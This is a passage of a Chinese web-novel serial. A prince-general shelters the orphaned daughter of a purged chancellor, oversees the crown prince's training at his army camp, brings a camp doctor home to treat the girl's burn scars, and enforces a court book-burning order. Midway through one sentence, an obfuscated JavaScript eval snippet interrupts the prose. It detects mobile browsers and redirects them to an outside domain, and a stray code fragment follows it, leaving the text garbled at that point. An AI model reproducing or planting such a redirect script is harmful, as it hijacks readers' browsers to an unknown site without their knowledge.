她明显怔了,停住一瞬,摇摇头,“王爷很忙。” “忙......倒也还好,挤点空闲出来是可以的。” 他说完,眼睛扫过案上的书,接着道:“要看书或者做旁的事情都行,尽管和我说。” 再说完就没了话,梁风也不想硬让她开口,便拿过旁边一本摞着的书,邀道:“那一块看书吧。” 她依言,目光落到书本。梁风注意到她双手交叠摩擦,肯定还是不舒服的。 他一边留意金絮,一边翻开书本。 扫了两行字发觉自己根本静不下心来,意外于金絮这个时候怎么会有心思看书,而她神情涣散发呆,也不像是看书的样子。 他的眼神扫来扫去,转眼望见站在门外的李晟。 老李看着他,眼神示意有客来了。 金絮见状,收回放在书上的手,低下头,安安静静。 梁风只能合书同她道:“我一会儿再来。”便起身去正殿,老李留下照看她。 金絮低头一动不动,李晟转身离开。待脚步声走远,她右手握住左手掌心,拇指用力划圈按着掌心的疤痕。疤痕的表皮无论如何用力按都没什么知觉,她抬头,目光顺出门外,直视远方天空,脸上因憔悴而显得肤色深浅不一。 她又低下头,看着案几上那本讲官员言谈礼仪的书。 正殿内,梁风一进门就见到了安分坐在榻上的梁与義。 这次与義不在内间。 小厮奉茶,与義目光追随着梁风走入。梁风坐下问:“你怎么来了?” 与義姿势不变,老老实实地说:“父皇让侄儿来的。” 梁风刚端起茶,又把茶放下了。 七皇子端正姿势,小心坐着。 梁风没什么好说的,“你既然来了,便跟我说吧,这次又是什么事情?” 梁与義斟酌一番,起身行了个礼。 “父皇让我来问皇叔关于匪患的事情。” 梁风双眼看地毯。 “下旨招安匪兵以来,越来越多的人弃农从匪,匪患的势头竟要盖过民叛。各郡国以山寨规模为准,越是大的山寨,拨给的钱财便越多,致使新成为土匪的农民在愿意被招安前必多行烧杀劫掠,以图壮大山寨声势,好换取郡国更多的钱财。” 与義的声音像是对着夫子念诵已背熟的课本。 “郡国逐渐拿不出那么多钱,便向朝廷求援。父皇援助的旨意迟迟未下......” “然后呢?”梁风心情没什么起伏。 “父皇想问皇叔,该拿匪患怎么办?” “我怎么知道。” 与義一愣。梁风遂放软语气,再说:“城里的军务太过繁杂,我分身乏术,顾及不到很多事情。” 七皇子双眼似懂非懂,顿了片刻又一礼,“侄儿知道了。” 再继续,四眼相看无言。梁风无话可说,眼前仿佛浮现皇宫高位之上,皇帝对与義出宫前做出叮嘱的场景。 “皇叔。” 梁风收回思绪,见与義还是方才的姿势站着。 “皇长兄和三皇兄很快就要被父皇安排去军营了。” 梁风一晃神,视线松了,恍恍惚惚落到茶杯里,杯底模糊不清。 “是么......” 与義坐回去,道:“父皇原本欲安排两位 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他停下,独自站了站,几个深呼吸后,慢慢长叹一气,遥望书阁方向,金絮应该还在那里。 府里十来个人,只有老李和小缃知道她,其他下人一般不允许随意出入后院。只要她想住在这,梁风自认还是护得了她平安。 唯独怕她不愿意。 任何时候,她身边都会有老李陪着,或者是小缃,或者是他。金絮或许会觉得他这是安排了人监视她,心里就不开心。他知道这种被盯着的感觉,不好受,可若放任她自己一个人,他又真的不放心。 乱七八糟地想着,进入书阁,见金絮如他离开时那样坐着。 梁风走近,金絮闻声从沉思中受惊抬头,看见是他,眼中一阵闪烁,似是意外。 “我说了我会回来。” 她无言,却没低下头去。 梁风坐到她身旁,直接地回应她的目光,希望她能安心。 “我不想你觉得自己总是一个人,所以我尽量陪着你。多数时候不会有旁人来找我,你在这里......在这里还是安全的。” 金絮听了,也回应着他的注视,闪烁的眼中含义很多,欲言又止。 她没说话,梁风却感觉到她的呼吸逐渐平缓,这是救她以来,第一次感受到她欲说出的话。 “王爷......” “嗯。” “我看不懂。”她的声音发着抖,“爹爹从前总不告诉我他在京城遇到的事。” 梁风开口:“这些书......” 不要看了好吗? 他咽下后半段话。 刚刚才跟她说,有话就直接同他讲,无需顾忌的。 “他在京城独自承担着什么?这些书里写了他的处境,可是我看不懂。” 梁风身子下意识往后靠,手臂轻轻动了,袖子被金絮紧紧拽着,传来她的颤抖和不安。 他定了定神,轻声告诉她:“金丞相承担的,是历朝历代丞相都需要承担的事,他之所以不告诉你,是希望你能无忧无虑。” 金絮凝视他的双眼眨也不眨。 “爹爹早预见了这一天?” 梁风心中一颤。她好聪明,是他无法比拟也让他心痛的聪明。 她说她没读懂,梁风却知道她读懂了。 他想到从前说他毕竟是个孩子的金丞相,教他中庸之道的金丞相,替他寄信的金丞相,还有在朝堂之上,独自面对百官弹劾的金丞相。 “我不知道。” “我帮不到他。” 窗外的夕阳斜照进来,暖红光芒铺满她素白的衣裳,照亮眼中蓄满的泪水。梁风感受到她的难过,她却始终没有哭。 105. 《红叶书》(二五) 夜里,知道她睡下后,梁风洗漱毕准备睡觉。 “老李,母亲在宫里独自承担着什么?” 李晟解开帘帐的手一顿,没有说话。 梁风坐在被子里,有点不习惯。军营里住得久了,偶尔回王府会不适应这柔软的床榻。 他按按枕头,一按,手指便陷阱去,说道:“金絮从前一个月见不了金丞相几次,现在只能依靠过去的书本了解过去的父亲。” 李晟听了,放下帘帐,朝他安慰地笑一笑,“王爷,您若是想见母亲了,便向圣上请旨进宫去。您只是去见自己的母亲,无人会指责您的。” 老李吹熄蜡烛,“安心睡吧。” 他拉着绒被躺下了。黑暗中,默默看着床顶。 思念被勾起,半是睁眼半是闭眼地睡了一夜。 隔日天亮,梁风收拾好出门。 先去城里几处水利与筑防监察一圈,确认进度,待完成后收回筑兵。 偶然听城郊的士兵们说起,他才知道昨日圣上下旨,加大了民间铜铁器具的税收。 加了三成,现在京畿范围的铁器农具买三把要花费四把的钱。 梁风算了算,战后民间急缺铜铁,大部分铜器铁具毁于战中,家家需要买新。这个时候增税,将会有一大笔铜钱进入国库。皇帝想用这笔钱来做什么? 支援崔固?崔固自从出征后梁风就没听说过前线有寄来军报的消息。 他立即驱马赶去军营。 营内无任何异常。包括越来越差的军粮伙食。 梁风仔细翻看各项军务,来报中没有一封提及崔固的战况。 他稍稍放了心,以他对崔固的了解,第一战不会这样快就结束,这笔税收应当是要用在别处。 军中的武器军备均由朝廷拨款,梁风管不着,铜铁增税对他没有影响,他继续做着每日的事情。但很快再次忧心起来,如此急于收税,国库究竟空虚到了何种地步。 他转念又想,即便国库充盈,军营也不会是先富起来的地方。 过两日,于京冀巡视完归营,傍晚收到一封圣旨。 他心里揣摩圣旨内容,猜到了几分。 传旨太监笑得十分客气,梁风跪下听旨。 旨意内容是太子与三皇子即日起归入军营,由军中诸位将军与军师共同辅佐教习,直至陛下召回。 他默然听着,以为还有后半段话,太监却不念了,收好圣旨双手递予他。 梁风接过便问:“不知军师是哪位?” 太监一揖,“平原侯孙提。” 猜到了,皇帝没有别的军师,孙提在梁戟登基后被封了平原侯。梁风扯嘴一笑,“陛下真是喜欢让人揣测他的意图。” 太监笑着又礼,没说话。 等传旨的人走后,梁风随手就将圣旨扔给身边的副将,并命人收拾出两座营帐。 圣旨里没有提及与丕和与棣在军中以什么样的身份处于什么样的位置,两位皇子都没有军衔,但肯定不能当一般士兵对待,他觉得皇帝这又是借由两位皇子在试探他的态度。 副将来问他那两座营帐以什么规格收拾。 梁风沉思许久,最后道:“别收拾了,等人来了再看他们自己想住哪吧。” 总不至于要住他这镖旗将军的营帐。 夜里他没睡着,思考该拿什么态度对待与丕和与棣。 他想明天出营巡视,巡视完在外逗留久一点,想看看他们到了军营后发现他不在,会做出什么事情来。 说不定会发生老虎不在家,猴子当大王的事情。 他胡思乱想到后半夜,好不容易睡着,却在睡醒后,脑子里杂七杂八的思绪荡然一空。 又觉得没意思,想这些,反而影响他一夜没睡好。 他最终在营里等着侄儿们。 等到日上三竿。两位皇子近午才入抵军营,携带随从若干。 梁风出帐迎接时,正好看见与丕和与棣从马上下来,不是他想象中坐着轿子来的。 梁与丕直立不动,梁与棣老老实实向他行了一礼。两个人齐唤了声:“皇叔。” 二人都穿着铠甲,明显是前越国制式的铠甲。梁风走近,向梁与丕礼道:“臣参见太子殿下。” 太子道了声:“免礼。” 梁风便继续说:“这里没有你们的皇叔,在军营里,叫我将军。” 梁与棣看了眼与丕,太子殿下没露出什么表情,依言朝梁风行了个军礼,“是,将军。” 几年不见,与丕气质沉稳许多。梁风往旁一指,道:“那边几座营帐,自己选个住着吧,至于教习内容,等平原侯来了再做安排。” “是。” “是。” 还挺听话,梁风便不再多管。 申时后,孙提来了。 相比于两位皇子,梁风更能从孙提身上看出皇帝的态度。从皇城到军营,路途不算十分近,他命人列队迎接孙提,并事先备好军师营帐,还让人从城里带了织物一类,就怕孙提不适应军中生活。 “接到人就直接送去营帐里,让他好好休息,别累着了。” 副将听令:“是。” 上一次见孙提,还是在越国。印象中,梁戟很少让孙提离开身边,这次会把孙提调给两位皇子,可见对与丕与棣的重视。 梁风思及此无声地一笑,“也是,谁会不重视自己儿子?” 副将闻言抬首,不明何意。 梁风掀帘走出,“没什么,走吧,看看去。” “是。” 军师帐内,一应随同平原侯而来的仆从正在收拾起居。榻上休息的孙提看见梁风,立即起身行礼。 梁风受了这一礼,在孙提还未起身时他再上前双手扶起,嘴里道:“老师,劳您一路辛苦,近来安好?” 孙提由他搀扶着坐下,语气轻轻笑着,“好,好啊。将军可也尚好?” 梁风笑答:“我很好。” 这么回答有点干,他想了想,接着道:“最近军中伙食紧缩,您若有吃不惯用不惯的地方可直言告知于我,我或调配......” 孙提摆摆手,“无妨的,老夫年轻时也是军旅出身,还怕吃不得苦?”捋着胡子道:“承蒙陛下重托,老夫这一把年纪,还能为朝廷效力。” 梁风干干应承着,他只是来打个招呼,露了面就想走,他道:“不知太子和三皇子殿下在军中的教习内容如何安排?陛下的旨意并未言明。” 孙提松松的神情未变,姿态淡然,“所教内容无非是粮草兵马、军阵调度之类,陛下之所以未言明,是不希望太子和三皇子殿下在知道了教习内容后,早做准备而偷懒耍滑。将军是不知,在越国时,太子与三皇子殿下可是调皮得很。” 调皮?梁风双眼看着地板,不想说话。 可孙提却不再开口了,梁风知道心思深沉的人一贯是不会自己主动开口提及某事的,他只能咧一咧嘴,说:“既然如此,那老师在教习时若有兵马布阵需要,您只管和我说,我会配合您做好一切调度。” 孙提捋着胡子点点头,并未看他。 事情说清楚了,梁风便离开孙提营帐。还没来得及操心孙提的伙食,这天夜里,皇帝专门拨给孙提的银粮就调来了,附带一位太医。 梁风便不再多管,只想做好辅助听令的事。 他反复看那道圣旨,反复揣摩皇帝的意图。圣旨上说由诸位将军与军师共同辅佐,可如今大周的将军没有“诸位”那么多,崔固出征,营里只有他,很难说皇帝调遣孙提入营不是冲着他来的。 自从上一道圣旨给了他兵权并允许他豢养府兵后,他迟迟没有动作,皇帝也想知道他在想些什么吧。 这道圣旨,像是皇帝希望能够重新跟他对话的请求。 梁风啪地合上圣旨,往旁边一甩,黄色布帛在烛火映照下金丝纹路发着光,滚到榻席黑暗的角落里。 第二日,他入夜前回营时,听副将来禀,因嫌军中伙食粗糙入不得口,两位皇子一天没用饭了,傍晚好不容易吃进两口,又吐了,已经叫了军医过去诊治。 初来吃不惯军中伙食很正常,梁风命副将代他过去看两眼,别的先不理,打算等他们撑不住了来找他抱怨时再说。 到第三日午间,副将急急又报,说两位皇子不仅掀翻了粮食,还把诊治的军医给打了。 梁风立马放下军报赶了过去。 与丕躺在铺了狼绒的宽榻上,脸色不太好,瘦倒是没瘦,看见梁风,下榻和行礼的动作还算利索。 与丕炯炯双目看着梁风,提了声音道:“将军若是来说,这点苦都吃不得也不用来军营历练了......”话说一半虚了声音,大口喘着气,再逞道:“将军无需说这些,我都明白,这点苦,我吃得了。” 梁风看了眼与丕行礼的双手因力气不足而微微颤抖,又看了眼与丕榻边两位服侍的女婢,心里叹气。 五体跪伏在地的军医不敢抬头,梁风走去俯身扶起,这才发现是名女军医。 营里何时有女大夫了?他转眼注意到大夫左肩膀的鞋印,随即脸色一沉。 “饿着肚子,脾气就坏,你吃不吃得了这苦都不能打骂我的军医。你在出宫前想必就听文官说起,今年军中银粮紧缩,吃的自然只能是这些。你是该隐忍,忍的可不只是食物,还有你的脾气。” 他看到那两名婢女,再沉声道:“你这两位婢女,也遣回府里去,军营不是女人该来的地方。” 与丕压出胸膛一口气。 “是,侄儿听训。”说罢,紧抿的嘴唇随着目光往下沉。 “与棣呢?”梁风环视一圈,没看到人。 “三弟发了烧,在隔壁帐里躺着。” 梁风皱眉,“病了?” “只是发了点热,他年级尚小,吃不得这苦。”与丕由婢女搀扶着坐回榻上,“怪他自己非要缠着父皇随我同来,待父皇知道他这一回病了,过不了几日就会召他回宫。” 梁风眉不展,同军医道:“随我来。”便去隔壁帐里看与棣。 帐内,梁与棣闭目睡着,眉头微蹙,很不安稳。 军医上前把脉后告知梁风:“将军,先前奴婢已为三皇子殿下诊治过了,是因腹泻引起的轻微发热,服下药后待体热褪去便能痊愈。” 梁风拿手背试与棣额温,还有点烧。 军医看着梁风脸色,再道:“将军若准许奴婢施针,三皇子的体热便能立时褪去。” 梁风看了她一眼,让人拿了镵针和热水来,再遣去下人,允她施针。 她将在滚水里煮过的针一一摊开拭净,梁风坐在旁边,歇了口气。 看着看着,梁风发现她动作格外利索,问道:“你是何时入营的?在哪位军医手下做事?” 她停下手中动作,向他礼道:“奴婢是年初战乱后跟随难民入京,尚未入城时被官兵抓去。原本是在医部后厨做杂役,三月前调去了刘大夫手下。” 梁风记得刘大夫,为人和善,给他治过伤的,倒是没留意刘大夫手下的人事变动。 他想起来今日一早营北士兵晨练时出了意外,武器架倾倒砸伤了几名士兵,营里几名军医都赶去看伤了,应该是只剩下了她一个。 “你叫什么名字?” “奴婢姓李,名萍凤。” 李大夫说完,为与棣脱去衣裳,给他上身擦药。 梁风看她头发白了半个脑袋,年近半百,脸上满是风霜与皱纹的痕迹,可这张脸却越看越觉得有点熟悉。 “我是不是在哪见过你?” 李萍凤一愣,闻言朝他看过来,看两眼低头道:“奴婢是北方人,此前从未来过京城,将军应当不曾见过奴婢。”稍顿,又微微抬头补充说:“奴婢也未见过将军。” 梁风点头,“哦。”不再打扰她施针。 待她治疗完毕,为与棣穿好衣服。梁风不用近前都能看出来与棣睡中神情舒缓了许多,呼吸都悠长了。 李萍凤收拾针具,梁风想起来什么,走近道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839840|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问你一事。” 她复停下手中动作,“将军请讲。” “因火烧伤而留下的疤痕可能去除?” 李萍凤垂眸仔细思索,答:“新疤可除,只是疗程稍长,陈年老疤仅能变淡,难以根除。” 梁风颔首,“那无事了,你下去吧。” 李萍凤便带着针具退下,梁风目送她离去,忽然发现眼前她的背影与记忆里的画面出现重叠,下意识出声唤道:“慢着。” 她便转身,梁风道:“你说你是北方人,三年前是否住在品县?那年年底,品县发生了一起民叛,你可还记得?” 李萍凤微露惶恐,跪下道:“奴婢三年前确实路过品县,可走医数十年间,遇见的大小民叛数不胜数,奴婢实在不记得了。” 梁风一下提高了音量,“你......”他还想说什么,却止了话头,当先将她扶起。 他难得有点欣喜,为得这缘分。 “我想起来了,我确实在品县见过你。”他压低声音道:“我想让你帮我为一个人治病,你可愿意?” 李萍凤面上有些不明所以,但还是低头道:“将军的吩咐,奴婢自然遵循。” “那......” 他担心隔墙有耳,决定谨慎一些,毕竟旁边就是与丕的营帐。 他细听帐外风声,确认无人在附近,与棣也还在睡中,压低声音道:“只是些疗伤小事,我之后再唤你,先下去吧,等我吩咐。” 李萍凤也不多言,道了声:“是”便下去了。 之前虽然给金絮看过大夫了,却还有点夜咳,怕她小小年纪落下病根,梁风心里一直惦记着,想找个背景干净医术又高明的大夫再给她看看。 刘大夫能让李萍凤独自接诊两位皇子,可见对她医术是十分信任的,只是该如何让李萍凤名正言顺地进王府,他还得想想。 之后几日,与丕慢慢地接受了军营伙食,至少是不再有发脾气的事情传到梁风这里。与棣病好后,还没蹦跶几天,皇帝果然来了口谕,与棣便噘着嘴带着随从坐着马车回宫了。 这几天里,梁与丕带过来的下人很殷勤地在各处走动,谈天、送礼,梁风身边逐渐出现了几个时不时夸一夸太子殿下的人。 走动关系、混个脸熟,这是必要的,他当做没看见,心里坦荡得很。 孙提的人找梁风取走了一批兵书和纸稿,还和他商量着准备几十名老兵给与丕实战。与丕的教习要开始了,他便着手调配兵马。 城外临建的焚尸地结束烧尸,九卿负责各自的收尾,而梁风则要收回焚尸地筑兵,如此正好可以调出几十个人来。 打定主意,他便提前叫上与丕一起去。 当日,太子殿下跨上马,明显不太习惯穿着铠甲,举止有些滞碍,脸色也不太好看。 “将军是平日里无其他事要忙?收几个士兵这种事也要自己亲自去?” 他平时忙不忙,与丕这几日肯定是看在眼里的,也不打算争辩,便道:“大多数时候,这类事情确实不用亲自前往,这次主要是想带你来看看。” “带我看?我是没见过世面?”与丕眉头都皱起来,加深脸色的不好看,“我若是将军,这种事情就全交给下人处理。” “营里的人,不是下人,而是同袍。”梁风向与丕看过去,“你若是我,你更是会凡事亲力亲为了。” 与丕不满被梁风这样说教,驳斥道:“营里的人若都是同袍,将军还用得着凡事亲力亲为?” 梁风一愣,顿时有点生气,一口气提到嗓子眼,又不愿发作,撇脸不去看与丕。 太子殿下同样不理他。 梁风气不过,扭头道:“你帐里那两个女婢是不是还未遣回宫去?你想留多久?” 与丕抓着马缰,若有似无哼了一声:“将军这是要管到我身边的人了?” “对,凡事亲力亲为,我就是要管。”梁风皱眉摆出凶脸,“上一回我就同你说了,我说的你不听,是想等平原侯来知会你?” 与丕眼色一顿,没有说话。 “营里还有几个女人,我一块遣出营去,你也别说我是只管你的事。你来军营前,就没人和你说过女人不能带入军营的规矩么?” 与丕闻言呵呵道:“这些规矩,说了又如何?我又无需亲力亲为,确保凡事都在规矩之内。” 梁风这下眉头狠狠皱了,不爱听这话,他一勒缰绳,身下马快踏两步,超过梁与丕。 身后似笑非笑的声音响起:“不过是个女人,我听将军的便是。” 梁风不想搭理。 眼看快到焚尸地,入目无烟,能见成圈把守的士兵。空气中焦灰的味道重起来,呼吸一下,鼻子里就很干燥。 梁风打算加速,却察觉身后的马踏声停了下来。 梁与丕忽然道:“我不想去了,难闻得很。” 梁风控马停住,转身就见太子殿下神情认真,目光含有不易察觉的嫌恶。 焚尸已经结束,这一带焦尸或肉身烤糊的臭气早吹散了,闻见的顶多是土地和干草的气味。 他咧嘴笑了笑,“不是见过世面么,怎么就嫌难闻了?” 与丕听了,眉毛皱着往下压住神情间变浓的嫌恶,双眼想瞪他又在半道把眼神收了回去,沉着脸驱马往前走,越过了梁风。 回去后,与丕就吐了。 梁风没空管与丕。他让副将把营里所有女子召集到一处,再备几份钱袋,每袋千钱,一人一袋,让她们拿了钱就离开军营。 他提前写了一张字条,放在了李萍凤的钱袋里,告诉李萍凤出了军营后去城里找长庆街的来福客栈住下,等待他的人去找她。并另注:如果她途中反悔,可以随时离开。 梁风亲自把钱袋单独递给她们每一个人,确保装有字条的钱袋给到了李萍凤手中,最后看着李萍凤的背影离开军营。 接下来就想该怎么把这件事告诉老李了。他可以直接写信寄去府里,但若能有个名正言顺的由头会更好,还得想想。 106. 《红叶书》(二六) 次日天亮,梁风才听说与丕帐里的两位女婢被送走了。 之后他少见与丕。孙提对与丕的训练安排很紧,每日从清晨到夜深,几乎没有休息的空闲。 梁风并不直接插手与丕的习训,多数时候是围观,或令军队配合与丕调度学习阵型。孙提有时会让梁风下场和与丕空手对练或箭术比试。与丕武艺相比几年前是有进步的,只是精进不甚明显,在他手中败下阵时,事后也会虚心请教,反思自己不敌之处。 梁风越发觉得之前孙提说太子殿下在越国十分调皮的话,是说来敷衍他的了。 一月后,与丕开始辅助处理军务。 梁风每天见与丕的次数多了、时间长了,批复军务时也出现了和他共同商讨的声音,偶尔还有与丕抱怨着急的撒气怒骂。 夏季即将结束,金党清剿的后续似乎一切止息妥当,朝廷下达了禁书的指令。 命民间烧毁所有和金党有关的书籍文章,包括文章合集、策令、字画、史传墓志铭,以及从前和金党成员往来酬唱的诗篇,哪怕只涉及一个字,都要整本书烧毁。 官府派人挨家挨户搜查,一经发现相关书籍,当场销毁,焚尸过后尚未安抚下来的人心再次骚动。 梁风在城内巡视,见街道行人走动间只字不敢提及前丞相,互相仅以眼神示意,甚至“禁书”的“禁”字因与“金”字谐音,而改说“焚书”。 他赶紧趁机写了封信寄给府里,让老李把王府内的相关书籍都烧了,并让金絮藏好,免得官府的人上门发现她。再私藏一封暗信,告知李萍凤位置。 他想回府一趟,可军营也有违禁书籍需要处理,数量不比王府少,而东宫也需与丕坐镇,与丕回了东宫几日,他便走不开了。 军营里识字的人极少,梁风的命令下达很快,军营是最先完成焚书旨令的地方之一。 太子殿下回营后,正式将军务从梁风帐里转移了出去。镖旗将军的营帐又变得安静。 待焚书声势渐渐平息,秋天来了。 九月的第一天,梁风再次收到圣旨。 皇帝似乎是对与丕入营以来的习训成果十分满意,赐给孙提不菲的赏赐,同时再次提升梁风的兵权。 他可以豢养百名府兵,能在京畿范围内自由调遣千名以下兵力,升降任免权升了一级,达到最高级的都尉一职。再往上的“将军”只能由皇帝册封,他的升降任免权无法再升了,这让他很意外,揣摩不透皇帝的意思。 “恭喜将军,贺喜将军。” 副将在旁连声道贺,梁风却没那么高兴。 看得出副将是真的为他感到欣喜,梁风随口问道:“最近几日,我看你们多去太子帐里,他那边是忙不过来吗?” 副将未多想,答:“事情似乎不忙,不过太子那边确实杂务多了点,是有些缺人手。” 何止杂务,近日营里几件军备磨损修复的事情,底下人都在未经梁风同意的情况下移交给了与丕,由与丕拿定主意后再交给梁风盖章。有时一天下来,他竟然能有一个时辰觉得清闲。 原本孙提只说与丕现阶段是辅助理事,但看这情况,不用多久,他的军印就得到了与丕手里了。 这是必然,他预见到了,陛下命与丕入营肯定也有这一目的,只是没想到会这么快。 梁风手里捏紧圣旨,面上不动声色,问道:“我听底下人传,为太子办事,办得好了能升军衔,这事你知道吗?” “知道。”副将坦诚地点头,“太子殿下确实说过这话,那些头衔低的也都有这个念头。事情少了,将军闲下来也可以歇一歇了。” 梁风微微皱眉,“可是太子没有陛下授旨是无法任免军衔的,空口白话,怎么都信了?” 副将眨眨眼,挠挠后脑勺,笑得憨憨,“将军的意思是?” 太子有没有陛下授旨,副将显然没有放在心上,梁风的情绪和小心思,副将显然也没有放在心上......或是根本没发现。 梁风心里叹气,“算了,你下去吧。”他按下圣旨,起身向帐外走去,“我回府里一趟,看书烧干净了没有。明日......或者后日回来。” 副将立即收起表情,“是。” 夕阳陪伴他一起回城,进入王府时,天色已黑透。 守门小厮模样端正了很多,不再是初入府时吃不饱的形容。他把马递去,换了小厮手里的灯笼,自己往府内深处走。 四周几乎一片漆黑,拱门、游廊、植木,遮尽零星几盏灯火。府里人少,入夜后李晟一贯不会满府点灯,仅几个住了人的院内会稍亮些。 他走得慢,路过正殿前的月台,看见场地中央立了个黑漆漆的大东西。他走近一看,是个炉子,一人高,两人宽,圆肚,看不清颜色,离得近了能闻到残留的新灰气味。 寂静间,由远至近传来脚步声,一点灯笼光亮晃晃悠悠向他跑来。梁风认出是老李的身形。 “王爷,今夜怎突然回来?这府里未来得及准备。您用晚膳了没?” 梁风没答,敲了敲炉子道:“这是用来烧书的?” “是。原先府里没这么大炉子,新买的,前两日才将书烧完,府里人都搬不动,只能先放这了。”老李道:“王爷先用膳还是先沐浴?” “吃饭。”梁风往竹苑走,“烧书时候还顺利?” “还算顺利,官府的人来过两回,都烧干净了。”停顿片刻,老李道:“只是中途金姑娘提出想由她自己来烧,我顾虑她不便出面,让她在西苑里烧了几本。” “她想自己烧?” “是。” 梁风低着目光想了想,抬起头问:“她在哪呢?” “在西苑里呢,李大夫今夜要给她的手施针。” “李萍凤?你找着李大夫了?” “是,我去来福客栈时,李大夫还没走。” 梁风抓住李晟的手臂,“老李,我想让李萍凤留在府里,你看要怎么做?” 李晟认真想了想,说:“以诚相待,应当不难,谁都会想留在一个安稳的地方过日子。但是王爷,李大夫若有自己去处,不愿留在府里,倒也不必强求。” 梁风点头,快步走去金絮所在的西苑。 西苑烛火很亮,厅堂里空无一人,他进去正好听见内间传出李萍凤的声音: “针灸祛疤没那么快,第一回施针不见起效是正常的,三次之后,才会觉得有些痒......” 老李唤了一声,内间声音便停了。 李萍凤迎出来,“将军回来了?” 梁风止住她下跪的动作,道:“方便进去吗?” 李萍凤点点头。 绕过屏风,正对上金絮看过来的双眼。她斜坐榻上,双手平放于案几,掌心向上,袖口松开露出一截手腕,见到梁风便道:“王爷。” 他近距离看她的手,疤痕定型了,跟上回看的没太大区别,指腹和掌心的伤疤比较明显,肤肉收缩,手指不能完全伸直,颜色没有异常,也无凸起增生。 小缃从热水盆里捞出布巾包住她的双手,她眨了下眼,手掌缩了缩。梁风揪住布巾打开一个口出点热气,“很烫是不是?” 她摇头,看着他道:“谢谢王爷。” “你不用谢我,该谢李大夫才是。”梁风目光向李萍凤看去。 李萍凤摊开一卷针包,边拿出一个个药瓶,边笑说:“尽医者职责,将军何必言谢。” 梁风坐到侧边的客榻,道:“请您治病,却用这种偷偷摸摸见不得光的方式,我还担心您不会来。” 李萍凤手中动作不停,“李管家倒是和我说了,将军有将军的难处,我只是个大夫,旁的事情,和治病救人有什么关系呢?” 看来老李跟他有同一想法,梁风便不着急了,他不在的时候李晟会替他问李萍凤的去留意愿的。 李大夫揭开金絮包手的布巾,那双手冒着可见的热气,接着换了块热巾叠一叠垫在她手下,薄涂一层棕黑色的药水,开始施针。 梁风不想碍事打扰,退回厅堂。他还有话想和金絮说,便先不去竹苑,让小缃备饭过来。 李晟端来水盆供他洗手,他同老李道:“陛下命太子入军营习训,我虽然只是辅助,但还是需要把注意力多放在营里,最近一段时间会比较少回来,府里你多照看着些。” “是。”李晟道:“府里也没什么事,就是前些天,几个侯府和九卿的人相继派人送了礼来,送的都是些字画玛瑙、翡玉刀剑之类,不算贵重,但也有些分量。我没让人进来,礼也没收,那些人在府外等了个把时辰也就回去了。” 小缃备了饭菜来,一碟碟布开,梁风看着不是很有胃口。 他道:“我今天刚收到圣旨,陛下升了我的兵权,这些在朝堂上的人肯定早就知道风声了,所以才想着提前送礼讨好。” 可他有什么好是可以讨的?这样明目张胆地讨好一个将军真的合适么?梁风心情难以言说。 “我不在,他们送礼肯定也没想着真能送进来,只是表个态度。好久没上早朝了,顶替金党位置的是哪些人我都不知道,还是小心些,都别收,也别让人进来。” 他怕站错队,可收个礼也未必就是站队的意思,他不想把事情想得简单了。 李晟笑了笑,“王爷的兵权升了,这是好事啊。” 梁风夹两筷子干笋,嘴里嚼得脆响,“未必。我不知道该怎么用。” “不知道怎么用......”李晟捋须子,沉吟着颔首,“也是啊。” 老李揭开汤盅,给梁风盛一碗萝卜汤,“如何用权、如何举贤,这类事情王爷恕老奴难以给出好的建议了。” “我不知道该怎么办。”他清楚不能事事依赖老李,可回府一趟,最想说的就是这件事。 李晟看着梁风脸色,将汤碗放到他手边,缓缓道:“我能告诉您的,是对底下那些士兵来讲,头顶的将军再好说话,也不如实打实的好处来得重要。办了实事,谁不想讨个名分呢?您的顾虑是难免,但也该给尽心为您办事的人一点好处了。” 梁风听了,越发吃不下,索性放下筷子,“我怕做错了。我手下已经有好几个人时不时往太子那边跑,他们都去为太子做事了。太子才来军营多久。” 他语气有些酸,老李笑慰:“权术的平衡之道,史上鲜有人能做得尽善尽美,王爷,谁都不是圣人,难免出错的。只要您做出的决策底下人都没意见就好了。适当放过自己,兵士们也喜闻乐见。麾下治军,可不能依靠优柔寡断。” 梁风低头胡思乱想,心里其实也知道点什么。 老李最后道:“纵然您再不喜欢,也该知道了,是否任用一人,不是看交情,不是看情义,而是看利益。” 他不想说话,闷着脸,拿勺子把汤水搅来搅去,就是不喝。 萝卜翻滚的间隙,内间传出细碎的话语,还有金絮断断续续的声音,听不太清。 李晟道:“金姑娘似乎挺喜欢李大夫的,这几天常常跟李大夫说话。” 老李转了话题。 梁风顺势一想,接了话道:“平常还是要有人多陪着她,以免她胡思乱想,小缃跟她话多吗?” “还算多的,往日都是小缃在屋里陪着她。” 他隔着屏风朝里看了眼,绣彩缕金的实木屏挡了他的视线。 不吃了,老李收拾餐碟下去,梁风再起身去内间。 金絮仍是坐着,满手的针,看李萍凤的目光被烛火包裹着,现出一丝暖意。 “嗓子好些了,残病也褪了,我再开服药,喝三日后先前的病也就好全了,只每日记得早些睡觉。” 金絮轻轻颔首,“嗯。” 李萍凤笑了笑,伸手摸了摸她的头顶。 她很乖的样子,梁风却莫名觉得她这副样子仅仅是想让旁人放心。 注意到他,金絮侧目看过来,眼里似乎有话想和他说。 针灸结束,李萍凤收拾针具离开。梁风与她隔案相坐,金絮脸颊被光影打得瘦削。 “王爷。” “瞧你好像瘦了些,府里饮食哪有吃不惯的,你尽管和老李说。” 她摇头,“吃得惯的,李管家已十分照顾我了。” 她手掌涂的药渐渐散开药香,有点辛,嗓子确实好了。 “军营里事情增多,年前我应当是不常回府了。最近上门送礼的那些人,我让老李都拦在门外,你尽可放心的。” 她再摇头,“请人进来也无妨,我会藏在屋里不出去的。” 梁风张张嘴,想说她不必如此,可顾忌暗中不知多少眼线盯着王府,还是没说。 “那,那前两日,禁书一事......” “书都烧干净了,我没有出门,官府的人来的时候我藏在屋里。” 她神色语气平静,仿佛不以为然。梁风起先不明白,后有些愣了,仔细看着她,斟酌道:“我不是说这个,你想自己烧的吧,我是怕你舍不得。” 